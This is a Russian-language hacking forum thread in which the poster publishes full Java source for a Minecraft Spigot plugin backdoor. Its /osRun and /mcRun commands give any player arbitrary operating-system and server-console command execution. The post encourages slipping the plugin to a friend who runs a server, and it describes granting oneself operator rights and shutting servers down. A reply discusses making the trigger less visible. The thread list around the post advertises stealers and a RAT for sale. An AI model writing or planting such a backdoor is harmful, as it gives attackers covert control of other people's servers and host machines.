Интересно Java - Получаем SHELL через Minecraft плагин

LightMan

Original poster
Ufo Member
Сообщения
29
Реакции
50
Посетить сайт
Серверная часть minecraft написана на джаве и плагины тоже пишуться на ней.
В качестве цели я выбрал ядро
Spigot для написания бекдора (кроме спигота есть ещё очень много разных ядер)

Spigot — глобальная серверная модификация, предоставляющая API для взаимодействия с игровым миром и созданная для упрощения создания плагинов к SMP-серверу. Spigot создан на основе ядра

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и призван заменить «старшего брата» стабильностью и производительностью. Кроме этого, почти все плагины, написанные для CraftBukkit, пойдут и на Spigot, но на Spigot написаны и собственные, недоступные CraftBukkit’у плагины.


Файл BackdoorPlugin.java
При загрузке плагина сервером(onEnable) мы говорим что команды osRun и mcRun должны обрабатываться нашим CommandsHandler
Java:
package lightman.backdoor;

import org.bukkit.plugin.java.JavaPlugin;

public class BackdoorPlugin extends JavaPlugin {
    @Override
    public void onDisable() { }

    @Override
    public void onEnable() {
        for (String c : new String[] { "osRun", "mcRun" }) {
            getCommand(c).setExecutor(new CommandsHandler(this));
        }
    }
}

Файл CommandsHandler.java
Обработчик наших команд.
Функция onCommand будет запускаться если игрок выполнит одну из команд которые были установлены выше.
Символ "§" значит что мы хотим использовать цвета в чате

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


таким образом строка "§4Hello" будет в чате будет как "Hello"
Java:
package lightman.backdoor;

import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.ConsoleCommandSender;

public class CommandsHandler implements CommandExecutor {
    BackdoorPlugin plugin;

    public CommandsHandler(BackdoorPlugin plugin) {
        this.plugin = plugin;
    }
   
    private static final String OSUser = System.getProperty("user.name");

    @Override
    public boolean onCommand(final CommandSender sender, Command cmd, String label, String[] args) {
        String cmdName = cmd.getName().toLowerCase();
        final String cmdArgs = String.join(" ", args);
       
        // Run OS command
        if (cmdName.equals("osrun")) {
            // Run command in new thread
            new Thread() {
                public void run() {
                    sender.sendMessage(String.format("§6[%s]§7 Running OS command: '%s'", OSUser, cmdArgs));
                    String result = CommandsRunner.ExecCommand(cmdArgs);
                    // Show results
                    if (!result.contains("\n")) {
                        sender.sendMessage("§eResult: §7" + result);
                    } else {
                        // Show results with \n
                        for (String result_str : result.split("\n")) {
                            sender.sendMessage("§7" + result_str);
                        }
                    }
                }
            }.start();
            return true;
        // Run console command
        } else if (cmdName.equals("mcrun")) {
            sender.sendMessage("§7[Server] §7Running MC command: " + cmdArgs);
            ConsoleCommandSender console = sender.getServer().getConsoleSender();
            return Bukkit.dispatchCommand(console, cmdArgs);
        }

        return false;
    }
}

Файл CommandsRunner.java
Там есть функция которая выполняет команды нашей ОС (Виндовс, Линукс)
Java:
package lightman.backdoor;

import java.util.Scanner;
import java.io.IOException;
import java.net.URLDecoder;
import java.io.UnsupportedEncodingException;

public class CommandsRunner {
   
    private final static String OSName = System.getProperty("os.name").toLowerCase();
   
    public static String ExecCommand(String command) {
        String result = "";
        try {
            // Detect OS & create process
            Process proc;
            if (OSName.contains("windows")) {
                proc = Runtime.getRuntime().exec(
                        new String[] { "cmd.exe", "/c", command }
                    );
            } else {
                proc = Runtime.getRuntime().exec(command);
            }
           
            // Read output
            Scanner sc = new Scanner(proc.getInputStream());
            while (sc.hasNext()) {
                result += sc.next();
            }
            sc.close();
        } catch (IOException e) { e.printStackTrace(); }
        // Decode results...
        try { return URLDecoder.decode(result, "utf-8");
        } catch (UnsupportedEncodingException e) { return result; }
    }
}
Осталось кинуть наш плагин другу у которого есть свой сервер ;)

Пример работы плагина если сервер запущен на винде
  • Создание папки 123
  • Выдаче себе опки(типо прав админа)
  • Оповещение в чат /say




Пример работы плагина если сервер запущен на линуксе (просто сделал shutdown :unsure:)



P.S. Как компилить под нужную версию ядра ищите сами
P.S.S через мод на майнкрафт можно сделать что-то похожее (А мод ставиться клиенту, а не серверу :p)


Исходники тут:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


 

Вложения

  • preview.png
    preview.png
    75.4 КБ · Просмотры: 6
Последнее редактирование:

I dont know

Member
Сообщения
11
Реакции
0
Посетить сайт
Очень интересный backdoor
А можно сделать через чат? Как пример игрок пишет .osrun say hi!, сообщение не отправляется но команда "say" выполняется?
 

LightMan

Original poster
Ufo Member
Сообщения
29
Реакции
50
Посетить сайт
Очень интересный backdoor
А можно сделать через чат? Как пример игрок пишет .osrun say hi!, сообщение не отправляется но команда "say" выполняется?
Нет, плагины хотят именно через /command а не .command (хотя это можно сделать) да и если на сервере не будет стоять вредонос то все увидят в чате что вы хотели сделать, а если через / то сервер просто ответит что команда не найдена.
 
Название темы
Автор Заголовок Раздел Ответы Дата
LightMan Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 7
EgorData Backend Java developer Предоставляю работу. Ищу специалиста. 0
EgorData Java-программист уровня middle-senior Предоставляю работу. Ищу специалиста. 0
C пытаюсь установить java на кали и ошибка с пакетами. Кто разбираеться help. Вопросы и интересы 1
B Изучаем основы Java за 2 дня Основы ООП на Java. Экстремальное погружение Полезные статьи 0
Forevonly JSQL - Java инструмент для автоматизации SQL инъекций Kali Linux 0
INCIDENT Продам java Rat Продажа софта 19
Nicko77 Java SE 8. Вводный курс - Кей С. Хорстманн Другие ЯП 0
dotbat вопрос к профи по java Вопросы и интересы 2
С Вопрос к тем, кто знаком с html и java скриптами Вопросы и интересы 0
brainpoverty Хорошие курсы по программированию (JAVA) Вопросы и интересы 11
Admin flash и java в браузере, через ssh/socks5 Настройка системы для работы 2
Admin [Java brute] RGhost brute\cheker Другие ЯП 0
fun.papech Получаем 10 TRX за регистрацию, а так же 5 TRX за друга Способы заработка 1
Р Получаем виртуальный номер бесплатно Другое 1
Р Интересно Получаем Дедик microsoft Раздача dedic/ssh/proxy 0
Gumanoid Интересно Получаем бесплатно Witcher 1 в GOG Новости в сети 0
NickelBlack Интересно Получаем бесплатные,нормальные прокси каждый день и без ограничений Полезные статьи 0
NickelBlack Интересно Получаем 27$ на халяву Способы заработка 1
Terezamain Интересно Получаем посылки с Почты России анонимно Полезные статьи 1
X_Dangerous Получаем бесплатный дедик на 3 дня [2020] Другое 3
K Получаем 1000 сообщений ВК, монетизируем Все что не подошло по разделу 1
АнАлЬнАя ЧуПаКаБрА Интересно Получаем безлимитный google диск [2020] Другое 1
E Интересно Получаем доступ к зашифрованным ZIP-файлам Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА Интересно Получаем халявную накрутку Соц.сетей [YouTube/VK/Inst] + БАГ Полезные статьи 1
A Получаем на халяву домен для своих нужд! Другое 5
Cloudflare Получаем доступ к админке роутера и поднимаем VPN. Уязвимости и взлом 0
SSHMAN Интересно Хак для Xiaomi Camera. Получаем контроль над дешевой и практичной камерой наблюдения и приучаем ее к iOS Уязвимости и взлом 0
K Получаем 60 рублей с моментальным выводом Другое 0
Sasha3108 Получаем токены MCOFF сразу на кошелёк Способы заработка 0
Sasha3108 Получаем токены AXX сразу на кошелёк Способы заработка 1
E $199 Camtasia 9.X Получаем Оригинальную лицензию бесплатно! Полезные статьи 1
M Получаем доступ к удалённым сообщениям в WhatsApp Полезные статьи 0
mostbiggestshark Разведка в Active Directory. Получаем пользовательские данные в сетях Windows без привилегий Корзина 2
Sasha3108 Получаем токены Qitcoin (QTC) сразу на кошелёк Способы заработка 0
Sasha3108 Получаем 10$ на депозит (ограничено для 5000 участников) Способы заработка 2
Sasha3108 Получаем криптовалюту EcoG9Coin за регистрацию на бирже Способы заработка 0
Sasha3108 Получаем 1500 QLC сразу на кошелёк (~15$) Способы заработка 0
Sasha3108 Получаем токены Monnos сразу на кошелёк Программирование 0
ev0117434 Интересно Получаем бесплатный WiFi в вашем городе Уязвимости и взлом 21
Admin Получаем доступ к чужим майнерам, используя OSINT Уязвимости и взлом 2
АнАлЬнАя ЧуПаКаБрА INLINE Получаем статистику посещений для сайтов Проекты Private Keeper 0
Ferz73 Получаем 5 голосов вк на халяву Раздача dedic/ssh/proxy 9
T0pDro4eR Получаем доступ к FTP через стиллер Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА Получаем Бургер Бесплатно Другое 0
Morris Получаем полностью идентифицированный КИВИ кошелек Другое 0
J Получаем легкие бабки за пару кликов (на сиги хватит) Способы заработка 5
daladno22 Получаем новые стикеры с кроликами от Durex Другое 0
Forevonly Получаем бесплатный военный билет Полезные статьи 20
Forevonly Получаем доступ к компьютеру через картинку. Kali Linux 3

Название темы